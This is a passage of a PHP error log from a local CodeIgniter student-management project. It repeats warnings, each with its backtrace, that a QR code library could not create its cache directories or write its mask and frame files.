			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_3\mask_21_3.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_4\mask_21_4.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_5\mask_21_5.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_6\mask_21_6.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_7\mask_21_7.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;2020-05-15 00:50:55: 
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/frame_1.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrspec.php&lt;/p&gt;
&lt;p&gt;Line Number: 568&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrspec.php&lt;br /&gt;
			Line: 568&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 178&lt;br /&gt;
			Function: newFrame			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
